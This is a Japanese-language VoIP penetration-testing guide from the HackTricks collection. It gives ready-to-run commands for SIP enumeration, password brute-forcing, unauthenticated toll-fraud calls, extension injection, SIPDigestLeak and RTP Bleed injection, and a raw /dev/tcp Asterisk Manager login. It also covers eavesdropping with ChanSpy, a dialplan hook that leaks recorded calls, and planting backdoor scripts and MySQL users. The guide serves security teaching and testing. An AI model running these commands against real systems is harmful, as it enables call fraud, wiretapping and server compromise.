mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
513 lines
39 KiB
Markdown
513 lines
39 KiB
Markdown
# VoIPのペンテスト
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||
|
||
</details>
|
||
|
||
## VoIPの基本情報
|
||
|
||
VoIPの動作について学ぶためには、次のリンクをチェックしてください:
|
||
|
||
{% content-ref url="basic-voip-protocols/" %}
|
||
[basic-voip-protocols](basic-voip-protocols/)
|
||
{% endcontent-ref %}
|
||
|
||
## VoIPの列挙
|
||
|
||
### 電話番号
|
||
|
||
Red Teamが最初に行うべき手順の1つは、OSINTツール、Google検索、またはWebページのスクレイピングを使用して、企業と連絡を取るための利用可能な電話番号を検索することです。
|
||
|
||
電話番号を取得したら、オンラインサービスを使用してオペレーターを特定することができます:
|
||
|
||
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
|
||
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
|
||
* [https://www.whitepages.com/](https://www.whitepages.com/)
|
||
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
|
||
|
||
オペレーターがVoIPサービスを提供しているかどうかを知ることで、企業がVoIPを使用しているかどうかを特定することができます...さらに、企業がVoIPサービスを契約していない場合でも、PSTNカードを使用して独自のVoIP PBXを従来の電話ネットワークに接続している可能性があります。
|
||
|
||
自動応答や音楽などのものは、VoIPが使用されていることを示しています。
|
||
|
||
### Google Dorks
|
||
```bash
|
||
# Grandstream phones
|
||
intitle:"Grandstream Device Configuration" Password
|
||
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
|
||
|
||
# Cisco Callmanager
|
||
inurl:"ccmuser/logon.asp"
|
||
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
|
||
|
||
# Cisco phones
|
||
inurl:"NetworkConfiguration" cisco
|
||
|
||
# Linksys phones
|
||
intitle:"Sipura SPA Configuration"
|
||
|
||
# Snom phones
|
||
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
|
||
|
||
# Polycom SoundPoint IP & phones
|
||
intitle:"SoundPoint IP Configuration Utility - Registration"
|
||
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
|
||
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
|
||
intitle:"Polycom Login" inurl:"/login.html"
|
||
intitle:"Polycom Login" -.com
|
||
|
||
# Elastix
|
||
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
|
||
|
||
# FreePBX
|
||
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
|
||
```
|
||
### OSINT情報
|
||
|
||
VoIPソフトウェアの特定に役立つ他のOSINT情報は、Red Teamにとって有益です。
|
||
|
||
### ネットワーク列挙
|
||
|
||
* **`nmap`**はUDPサービスのスキャンが可能ですが、スキャンされるUDPサービスの数が多いため、非常に遅く、この種のサービスでは正確ではないかもしれません。
|
||
* SIPViciousの**`svmap`**(`sudo apt install sipvicious`):指定されたネットワーク内のSIPサービスを特定します。
|
||
* `svmap`は**簡単にブロックできます**。なぜなら、User-Agentとして`friendly-scanner`を使用しているからですが、`/usr/share/sipvicious/sipvicious`のコードを変更することで対処できます。
|
||
```bash
|
||
# Use --fp to fingerprint the services
|
||
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
||
```
|
||
* **`sipscan.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** Sipscanは、UDP、TCP、またはTLSを介したSIPサービスの非常に高速なスキャナーです。マルチスレッドを使用し、大規模なネットワーク範囲をスキャンすることができます。ポート範囲を簡単に指定したり、TCPとUDPの両方をスキャンしたり、別のメソッドを使用したり(デフォルトではOPTIONSを使用します)、異なるUser-Agentを指定したりすることができます(その他も可能です)。
|
||
```bash
|
||
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
||
|
||
[!] IP/Network: 10.10.0.0/24
|
||
[!] Port range: 5060-5080
|
||
[!] Protocol: UDP, TCP, TLS
|
||
[!] Method to scan: REGISTER
|
||
[!] Customized User-Agent: Cisco
|
||
[!] Used threads: 200
|
||
|
||
```
|
||
* **metasploit**:
|
||
|
||
Metasploitは、ペネトレーションテストや脆弱性評価に使用されるオープンソースのフレームワークです。Metasploitは、様々な脆弱性を検出し、攻撃を実行するためのツールセットを提供します。このフレームワークは、セキュリティ専門家によって広く使用されており、脆弱性の診断や侵入テストにおいて非常に効果的です。Metasploitは、攻撃者がシステムに侵入し、機密情報を取得するための手法を開発するための貴重なリソースです。
|
||
```
|
||
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
|
||
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
|
||
```
|
||
#### 追加のネットワーク列挙
|
||
|
||
PBXは他のネットワークサービスも公開している可能性があります。以下はその例です:
|
||
|
||
* **69/UDP (TFTP)**: ファームウェアの更新
|
||
* **80 (HTTP) / 443 (HTTPS)**: ウェブからデバイスを管理するため
|
||
* **389 (LDAP)**: ユーザー情報を保存するための代替手段
|
||
* **3306 (MySQL**): MySQLデータベース
|
||
* **5038 (Manager)**: 他のプラットフォームからAsteriskを使用するための機能
|
||
* **5222 (XMPP)**: Jabberを使用したメッセージング
|
||
* **5432 (PostgreSQL)**: PostgreSQLデータベース
|
||
* その他...
|
||
|
||
### メソッドの列挙
|
||
|
||
`sipenumerate.py`を使用して、PBXで使用可能なメソッドを見つけることができます。[**sippts**](https://github.com/Pepelux/sippts)からダウンロードできます。
|
||
```bash
|
||
python3 sipenumerate.py -i 10.10.0.10 -r 5080
|
||
```
|
||
### 拡張子の列挙
|
||
|
||
PBX(プライベートブランチ交換)システムの拡張子は、組織やビジネス内の個々の電話回線、デバイス、またはユーザーに割り当てられた**一意の内部識別子**を指します。拡張子を使用することで、組織内での通話の**効率的なルーティング**が可能になります。個々のユーザーやデバイスごとに個別の外部電話番号が必要なくなります。
|
||
|
||
* SIPViciousの**`svwar`**(`sudo apt install sipvicious`): `svwar`は無料のSIP PBX拡張子ラインスキャナーです。概念的には、**拡張子の範囲を推測したり、指定された拡張子のリストを推測する**ことによって、従来のワードダイヤラーと同様に動作します。
|
||
```bash
|
||
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
||
```
|
||
* **`sipextend.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SipextenはSIPサーバー上の拡張機能を特定します。Sipextenは大規模なネットワークとポート範囲をチェックすることができます。
|
||
```bash
|
||
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
|
||
```
|
||
* **metasploit**: Metasploitを使用して、拡張子やユーザー名を列挙することもできます。
|
||
```
|
||
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
|
||
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
|
||
```
|
||
* **`enumiax` (`apt install enumiax`): enumIAX**は、Inter Asterisk Exchangeプロトコルの**ユーザー名ブルートフォースエンジン**です。enumIAXは、2つの異なるモードで動作することができます。シーケンシャルなユーザー名の推測または辞書攻撃です。
|
||
```bash
|
||
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
|
||
enumiax -v -m3 -M3 10.10.0.10
|
||
```
|
||
## VoIP攻撃
|
||
|
||
### パスワードのブルートフォース
|
||
|
||
**PBX**といくつかの**拡張子/ユーザー名**を発見した場合、Red Teamは一般的なパスワードの辞書を使用して、`REGISTER`メソッドを介して拡張子に対して認証を試みることができます。
|
||
|
||
{% hint style="danger" %}
|
||
**ユーザー名**は拡張子と同じである場合もありますが、これはPBXシステム、その設定、および組織の設定によって異なる場合があります...
|
||
|
||
ユーザー名が拡張子と異なる場合は、ユーザー名を特定してブルートフォースする必要があります。
|
||
{% endhint %}
|
||
|
||
* **SIPViciousの`svcrack`**(`sudo apt install sipvicious`): SVCrackを使用すると、PBX上の特定のユーザー名/拡張子のパスワードをクラックすることができます。
|
||
```bash
|
||
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
||
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
||
```
|
||
* **`sipcrack.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIP Digest Crackは、SIPプロトコル内のダイジェスト認証をクラックするためのツールです。
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt
|
||
```
|
||
{% endcode %}
|
||
|
||
* **Metasploit**:
|
||
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
|
||
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb)
|
||
|
||
### VoIPスニッフィング
|
||
|
||
もしVoIP機器が**オープンWifiネットワーク**内にある場合、あなたは**すべての情報をスニッフィング**することができます。さらに、もっと閉じたネットワーク(Ethernetで接続されたり、保護されたWifiで接続されたり)にいる場合、**ARPスプーフィング**などの**MitM攻撃**を実行することができます。これにより、**PBXとゲートウェイ**の間で情報をスニッフィングすることができます。
|
||
|
||
ネットワーク情報の中には、機器を管理するための**ウェブの資格情報**、ユーザーの**拡張子**、**ユーザー名**、**IP**アドレス、さらには**ハッシュ化されたパスワード**や**RTPパケット**などが含まれており、これらを再生して**会話を聞く**ことができます。
|
||
|
||
この情報を取得するためには、Wireshark、tcpdumpなどのツールを使用することができますが、VoIP会話をスニッフィングするために特別に作成されたツールである**ucsniff**([https://github.com/Seabreg/ucsniff](https://github.com/Seabreg/ucsniff))を使用することもできます。
|
||
|
||
{% hint style="danger" %}
|
||
**SIP通信でTLSが使用されている場合**、SIP通信を平文で表示することはできません。\
|
||
同様に、**SRTP**や**ZRTP**が使用されている場合、**RTPパケットは平文ではありません**。
|
||
{% endhint %}
|
||
|
||
#### SIPの資格情報
|
||
|
||
**SIP REGISTER通信**の例を確認して、**資格情報がどのように送信されるか**を理解してください。
|
||
|
||
* **`sipdump`** & **`sipcrack`**(**sipcrack**の一部)(`apt-get install sipcrack`):これらのツールは、SIPプロトコル内の**ダイジェスト認証**を**pcap**から**抽出**し、それらを**ブルートフォース**することができます。
|
||
```bash
|
||
sipdump -p net-capture.pcap sip-creds.txt
|
||
sipcrack sip-creds.txt -w dict.txt
|
||
```
|
||
* **`siptshar.py`, `sipdump.py`, `sipcrack.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:**
|
||
* **SipTshark**はPCAPファイルからSIPプロトコルのデータを抽出します。
|
||
* **SipDump**はPCAPファイルからSIP Digest認証を抽出します。
|
||
* **SIP Digest Crack**はSIPプロトコル内のDigest認証をクラックするためのツールです。
|
||
```bash
|
||
python3 siptshark.py -f captura3.pcap [-filter auth]
|
||
python3 sipdump.py -f captura3.pcap -o data.txt
|
||
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt
|
||
```
|
||
#### DTMFコード
|
||
|
||
ネットワークトラフィック内には、SIPの資格情報だけでなく、**DTMFコード**も見つけることができます。これらのコードは、例えば**ボイスメール**にアクセスするために使用されます。\
|
||
これらのコードは、**INFO SIPメッセージ**、**オーディオ**内、または**RTPパケット**内に送信することが可能です。RTPパケット内にコードが含まれている場合、会話のその部分を切り取り、ツールmultimoを使用して抽出することができます。
|
||
```bash
|
||
multimon -a DTMF -t wac pin.wav
|
||
```
|
||
### 無料通話 / Asterisks接続の設定ミス
|
||
|
||
Asteriskでは、特定のIPアドレスからの接続または任意のIPアドレスからの接続を許可することが可能です。
|
||
```
|
||
host=10.10.10.10
|
||
host=dynamic
|
||
```
|
||
IPアドレスが指定されている場合、ホストは定期的にREGISTERリクエストを送信する必要はありません(REGISTERパケットには通常30分の有効期限が含まれており、他のシナリオでは電話機は30分ごとにREGISTERする必要があります)。ただし、VoIPサーバーからの通話を受けるためには、開いているポートを持っている必要があります。
|
||
|
||
ユーザーを定義するためには、次のように定義できます:
|
||
|
||
- **`type=user`**:ユーザーはユーザーとしてのみ通話を受けることができます。
|
||
- **`type=friend`**:ピアとして通話を行い、ユーザーとして受けることができます(拡張機能と一緒に使用されます)。
|
||
- **`type=peer`**:ピアとして通話を送受信することができます(SIPトランク)。
|
||
|
||
また、次のように安全でない変数を使用して信頼関係を確立することも可能です:
|
||
|
||
- **`insecure=port`**:IPによって検証されたピア接続を許可します。
|
||
- **`insecure=invite`**:INVITEメッセージの認証を必要としません。
|
||
- **`insecure=port,invite`**:両方
|
||
|
||
{% hint style="warning" %}
|
||
**`type=friend`**が使用される場合、**host**変数の**値は使用されません**。したがって、管理者がその値を使用してSIPトランクを誤って設定した場合、**誰でもそれに接続できる**ようになります。
|
||
|
||
たとえば、次の設定は脆弱です:\
|
||
`host=10.10.10.10`\
|
||
`insecure=port,invite`\
|
||
`type=friend`
|
||
{% endhint %}
|
||
|
||
### 無料通話/アスタリスクのコンテキストの誤構成
|
||
|
||
アスタリスクでは、**コンテキスト**はダイヤルプラン内の関連する拡張機能、アクション、およびルールを**グループ化するための名前付きのコンテナまたはセクション**です。ダイヤルプランはアスタリスクシステムの中核コンポーネントであり、**着信および発信通話の処理とルーティング方法**を定義します。コンテキストはダイヤルプランを整理し、アクセス制御を管理し、システムの異なる部分を分離するために使用されます。
|
||
|
||
各コンテキストは通常、**`extensions.conf`**ファイルなどの設定ファイルで定義されます。コンテキストは角括弧で示され、コンテキスト名がその内部に含まれます。例えば:
|
||
```bash
|
||
csharpCopy code[my_context]
|
||
```
|
||
コンテキスト内では、拡張子(ダイヤル番号のパターン)を定義し、それらを一連のアクションやアプリケーションと関連付けます。これらのアクションは、通話の処理方法を決定します。例えば:
|
||
```scss
|
||
[my_context]
|
||
exten => 100,1,Answer()
|
||
exten => 100,n,Playback(welcome)
|
||
exten => 100,n,Hangup()
|
||
```
|
||
この例では、拡張機能「100」を持つ単純なコンテキスト「my\_context」が示されています。誰かが100をダイヤルすると、通話が受け付けられ、ウェルカムメッセージが再生された後、通話が終了します。
|
||
|
||
これは**別のコンテキスト**で、**他の任意の番号に発信する**ことができます。
|
||
```scss
|
||
[external]
|
||
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
|
||
```
|
||
もし管理者が**デフォルトコンテキスト**を以下のように定義した場合:
|
||
```
|
||
[default]
|
||
include => my_context
|
||
include => external
|
||
```
|
||
{% hint style="warning" %}
|
||
どんな人でも**サーバーを使用して他の番号に電話をかける**ことができます(そしてサーバーの管理者が通話料金を支払うことになります)。
|
||
{% endhint %}
|
||
|
||
{% hint style="danger" %}
|
||
さらに、デフォルトでは**`sip.conf`**ファイルには**`allowguest=true`**が含まれており、**認証なしの**攻撃者はどんな他の番号にも電話をかけることができます。
|
||
{% endhint %}
|
||
|
||
* [**sippts**](https://github.com/Pepelux/sippts)の**`sipinvite.py`**:Sipinviteは、**認証なしでPBXサーバーから電話をかけることができるかどうか**を確認します。SIPサーバーが正しく構成されていない場合、外部の番号に電話をかけることができます。また、通話を第二の外部番号に転送することもできます。
|
||
|
||
たとえば、Asteriskサーバーのコンテキストの構成が悪い場合、認証なしでINVITEリクエストを受け入れることができます。この場合、攻撃者はユーザー名やパスワードを知らなくても電話をかけることができます。
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
# Trying to make a call to the number 555555555 (without auth) with source number 200.
|
||
python3 sipinvite.py -i 10.10.0.10 -fu 200 -tu 555555555 -v
|
||
|
||
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
|
||
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444
|
||
```
|
||
{% endcode %}
|
||
|
||
### 無料通話 / 設定ミスのあるIVRS
|
||
|
||
IVRSは、**インタラクティブ音声応答システム**の略で、ユーザーが音声またはタッチトーン入力を介してコンピュータ化されたシステムと対話するための電話技術です。 IVRSは、情報の提供、通話のルーティング、ユーザーの入力の収集など、さまざまな機能を提供する**自動通話処理**システムを構築するために使用されます。
|
||
|
||
VoIPシステムのIVRSは通常、次の要素で構成されています:
|
||
|
||
1. **音声プロンプト**:IVRメニューオプションと指示をユーザーに案内するための事前録音された音声メッセージ。
|
||
2. **DTMF**(デュアルトーンマルチフリークエンシー)シグナリング:電話のキーを押して生成されるタッチトーン入力で、IVRメニューをナビゲートし、入力を提供するために使用されます。
|
||
3. **通話ルーティング**:ユーザーの入力に基づいて、特定の部門、エージェント、または拡張子など、適切な宛先に通話を誘導すること。
|
||
4. **ユーザー入力の収集**:口頭での情報、アカウント番号、ケースID、またはその他の関連データなど、発信者からの情報の収集。
|
||
5. **外部システムとの統合**:IVRシステムをデータベースや他のソフトウェアシステムに接続して、情報のアクセスや更新、アクションの実行、イベントのトリガーなどを行う。
|
||
|
||
Asterisk VoIPシステムでは、ダイヤルプラン(**`extensions.conf`**ファイル)や`Background()`、`Playback()`、`Read()`などのさまざまなアプリケーションを使用してIVRを作成できます。これらのアプリケーションは、音声プロンプトの再生、ユーザー入力の収集、通話フローの制御を支援します。
|
||
|
||
#### 脆弱な設定の例
|
||
```scss
|
||
exten => 0,100,Read(numbers,the_call,,,,5)
|
||
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
|
||
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
|
||
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
|
||
exten => 0,104,Dial(LOCAL/${numbers})
|
||
```
|
||
前述の例では、ユーザーに対して「1を押して部署に電話をかける」「2を押して別の部署に電話をかける」または「完全な内線番号」を入力するように求めています。\
|
||
この脆弱性は、指定された内線番号の長さがチェックされていないため、ユーザーが5秒のタイムアウトを完全な番号として入力することができ、それが呼び出される可能性があるということです。
|
||
|
||
### 内線番号インジェクション
|
||
|
||
次のような内線番号を使用することができます:
|
||
```scss
|
||
exten => _X.,1,Dial(SIP/${EXTEN})
|
||
```
|
||
**`${EXTEN}`**が呼び出される**内線**であり、**ext 101が入力された場合**、以下のようなことが起こります:
|
||
```scss
|
||
exten => 101,1,Dial(SIP/101)
|
||
```
|
||
しかし、`${EXTEN}`が数字以外のもの(古いAsteriskバージョンのような)を導入することを許可している場合、攻撃者は`101&SIP123123123`を導入して電話番号123123123に電話をかけることができます。そして、その結果は次のようになります:
|
||
```scss
|
||
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
||
```
|
||
したがって、拡張子**`101`**と**`123123123`**への通話が送信され、最初の通話のみが確立されます...しかし、攻撃者が**一致しているが存在しない**拡張子を使用して、望ましい番号にのみ通話を注入することができます。
|
||
|
||
## SIPDigestLeak
|
||
|
||
SIP Digest Leakは、ハードウェアおよびソフトウェアのIP電話機、および電話アダプタ(VoIPからアナログへの変換装置)を含む多くのSIP電話機に影響を与える脆弱性です。この脆弱性により、パスワードから計算されるDigest認証応答が漏洩します。その後、オフラインパスワード攻撃が可能となり、チャレンジレスポンスに基づいてほとんどのパスワードを回復することができます。
|
||
|
||
脆弱性のシナリオ([**詳細についてはこちらを参照してください**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)):
|
||
|
||
1. IP電話(被害者)がポート5060でリスニングし、電話を受け付けます。
|
||
2. 攻撃者がIP電話にINVITEを送信します。
|
||
3. 被害者の電話が鳴り、誰かが電話に出て切ります(他の端末で電話に応答しないため)。
|
||
4. 電話が切断されると、**被害者の電話は攻撃者にBYEを送信**します。
|
||
5. 攻撃者は**認証を要求する407レスポンス**を発行し、認証のチャレンジを発行します。
|
||
6. **被害者の電話は2番目のBYEで認証のチャレンジに応答**します。
|
||
7. 攻撃者はその後、ローカルマシン(または分散ネットワークなど)でチャレンジレスポンスに対するブルートフォース攻撃を実行し、パスワードを推測することができます。
|
||
|
||
* [**sippts**](https://github.com/Pepelux/sippts)の**sipdigestleak.py**:SipDigestLeakは、この脆弱性を悪用します。
|
||
```bash
|
||
python3 sipdigestleak.py -i 10.10.0.10
|
||
|
||
[!] Target: 10.10.0.10:5060/UDP
|
||
[!] Caller: 100
|
||
[!] Callee: 100
|
||
|
||
[=>] Request INVITE
|
||
[<=] Response 100 Trying
|
||
[<=] Response 180 Ringing
|
||
[<=] Response 200 OK
|
||
[=>] Request ACK
|
||
... waiting for BYE ...
|
||
[<=] Received BYE
|
||
[=>] Request 407 Proxy Authentication Required
|
||
[<=] Received BYE with digest
|
||
[=>] Request 200 Ok
|
||
|
||
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
|
||
```
|
||
### Click2Call
|
||
|
||
Click2Callは、例えば製品に興味を持つ**ウェブユーザー**が、**電話番号**を入力して電話を受けることができるようにするものです。その後、広告が呼び出され、ユーザーが**電話に出ると**、ユーザーは**エージェントと接続されて呼び出されます**。
|
||
|
||
これに対する一般的なAsteriskのプロファイルは次のとおりです:
|
||
```scss
|
||
[web_user]
|
||
secret = complex_password
|
||
deny = 0.0.0.0/0.0.0.0
|
||
allow = 0.0.0.0/0.0.0.0
|
||
displayconnects = yes
|
||
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
||
write = system,call,agent,user,config,command,reporting,originate
|
||
```
|
||
* 前のプロファイルでは、**パスワードがわかっていればどのIPアドレスからでも接続できる**ようになっています。
|
||
* 前述のように、**通話を組織するためには読み取り権限は必要ありません**。**書き込み**の**originate**のみが必要です。
|
||
|
||
これらの権限を持っているIPアドレスは、パスワードを知っていれば接続し、多くの情報を抽出することができます。
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
# Get all the peers
|
||
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
|
||
```
|
||
{% endcode %}
|
||
|
||
**詳細な情報やアクションが要求される場合があります。**
|
||
|
||
### **盗聴**
|
||
|
||
Asteriskでは、**`ChanSpy`**コマンドを使用して、監視する**拡張子(またはすべての拡張子)**を指定して、発生している会話を聞くことができます。このコマンドは、拡張子に割り当てる必要があります。
|
||
|
||
たとえば、**`exten => 333,1,ChanSpy('all',qb)`**とすると、**拡張子333**を**呼び出す**と、**`all`**の拡張子を**監視**し、新しい会話が始まるたびに(**`b`**)、静かなモード(**`q`**)で**聞く**ことができます。会話が行われている場所から別の会話に移動するには、**`*`**を押すか、拡張子番号をマークします。
|
||
|
||
また、**`ExtenSpy`**を使用して、1つの拡張子のみを監視することも可能です。
|
||
|
||
会話を聞く代わりに、拡張子を使用して**ファイルに記録する**ことも可能です。
|
||
|
||
{% code overflow="wrap" %}
|
||
```scss
|
||
[recorded-context]
|
||
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
|
||
exten => _X.,2,MixMonitor(${NAME})
|
||
```
|
||
{% endcode %}
|
||
|
||
通話は **`/tmp`** に保存されます。
|
||
|
||
また、Asterisk が終了するときに通話を漏洩させるスクリプトを実行することもできます。
|
||
```scss
|
||
exten => h,1,System(/tmp/leak_conv.sh &)
|
||
```
|
||
### RTCPBleed
|
||
|
||
**RTCPBleed**は、AsteriskベースのVoIPサーバーに影響を与える重大なセキュリティの問題です(2017年に公開されました)。この脆弱性により、VoIPの会話を運ぶ**RTP(リアルタイムプロトコル)トラフィック**が、インターネット上の誰でも傍受およびリダイレクトされることが可能になります。これは、RTPトラフィックがNAT(ネットワークアドレス変換)ファイアウォールを経由する際に、認証をバイパスするためです。
|
||
|
||
RTPプロキシは、RTCシステムに影響を与えるNATの制限に対処するために、2つ以上のパーティ間でRTPストリームをプロキシすることを試みます。NATが存在する場合、RTPプロキシソフトウェアは通常、シグナリング(例:SIP)を介して取得したRTPのIPおよびポート情報に頼ることができません。そのため、いくつかのRTPプロキシは、そのようなIPおよびポートの組み合わせを自動的に学習するメカニズムを実装しています。これは、着信RTPトラフィックを検査し、着信RTPトラフィックのソースIPとポートを応答すべきものとしてマークすることによって行われることが多いです。このメカニズムは「学習モード」と呼ばれることがあり、**いかなる種類の認証も使用しません**。したがって、**攻撃者**は**RTPトラフィックをRTPプロキシに送信**し、通話中のRTPストリームの発信者または受信者向けに送信されるべきプロキシされたRTPトラフィックを受け取ることができます。私たちは、この脆弱性をRTP Bleedと呼んでいます。なぜなら、これにより攻撃者は合法的なユーザーに送信されるべきRTPメディアストリームを受け取ることができるからです。
|
||
|
||
RTPプロキシとRTPスタックのもう一つの興味深い振る舞いは、**RTP Bleedに対して脆弱ではなくても**、時には**任意のソースからのRTPパケットを受け入れ、転送、および/または処理する**ことがあることです。したがって、攻撃者は合法的なものではないRTPパケットを送信することができ、これにより既存のRTPストリームに不正なメディアを注入することができます。この攻撃をRTPインジェクションと呼びます。この脆弱性は、RTPプロキシとエンドポイントの両方で見つかる可能性があります。
|
||
|
||
AsteriskとFreePBXは、従来から**`NAT=yes`の設定**を使用しており、これによりRTPトラフィックが認証をバイパスすることができ、通話時に音声がないか片方向の音声になる可能性があります。
|
||
|
||
詳細については、[https://www.rtpbleed.com/](https://www.rtpbleed.com/)を参照してください。
|
||
|
||
* [**sippts**](https://github.com/Pepelux/sippts)の**`rtpbleed.py`**:RTP Bleedの脆弱性を検出するためにRTPストリームを送信します。
|
||
```bash
|
||
python3 rtpbleed.py -i 10.10.0.10
|
||
```
|
||
* **`rtcpbleed.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** RTPストリームを送信してRTP Bleed脆弱性を検出します。
|
||
```bash
|
||
python3 rtcpbleed.py -i 10.10.0.10
|
||
```
|
||
* **`rtpbleedflood.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** RTPストリームを送信してRTP Bleed脆弱性を悪用する
|
||
```bash
|
||
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
|
||
```
|
||
* **`rtpbleedinject.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** RTPブリード脆弱性を悪用し、RTPストリーム(オーディオファイルから)を送信します。
|
||
```bash
|
||
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav
|
||
```
|
||
### RCE
|
||
|
||
Asteriskで、脆弱なウェブマネージャーサーバーを侵害することで、**拡張ルールを追加して再読み込みする**ことができる場合、**`System`**コマンドを使用してRCEを実行することが可能です。
|
||
```scss
|
||
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
||
```
|
||
**`Shell`**というコマンドは、必要に応じてシステムコマンドを実行するために**`System`**の代わりに使用することができます。
|
||
|
||
{% hint style="warning" %}
|
||
サーバーが**`System`**コマンドで特定の文字の使用を禁止している場合(Elastixなど)、ウェブサーバーがシステム内で何らかの方法で**ファイルを作成することを許可しているか**(Elastixやtrixboxのように)、それを使用して**バックドアスクリプトを作成**し、それを**`System`**を使用して**実行**します。
|
||
{% endhint %}
|
||
|
||
#### 興味深いローカルファイルと権限
|
||
|
||
* **`sip.conf`** -> SIPユーザーのパスワードが含まれています。
|
||
* **Asteriskサーバーがrootとして実行されている場合**、rootを侵害することができます。
|
||
* **mysql rootユーザー**はパスワードを持っていないかもしれません。
|
||
* これを使用して、バックドアとして新しいmysqlユーザーを作成することができます。
|
||
* **`FreePBX`**
|
||
* **`amportal.conf`** -> ウェブパネル管理者(FreePBX)のパスワードが含まれています。
|
||
* **`FreePBX.conf`** -> データベースにアクセスするために使用されるFreePBXuserユーザーのパスワードが含まれています。
|
||
* これを使用して、バックドアとして新しいmysqlユーザーを作成することができます。
|
||
* **`Elastix`**
|
||
* **`Elastix.conf`** -> mysql rootパスワード、IMAPdパスワード、ウェブ管理者パスワードなど、いくつかのパスワードが平文で含まれています。
|
||
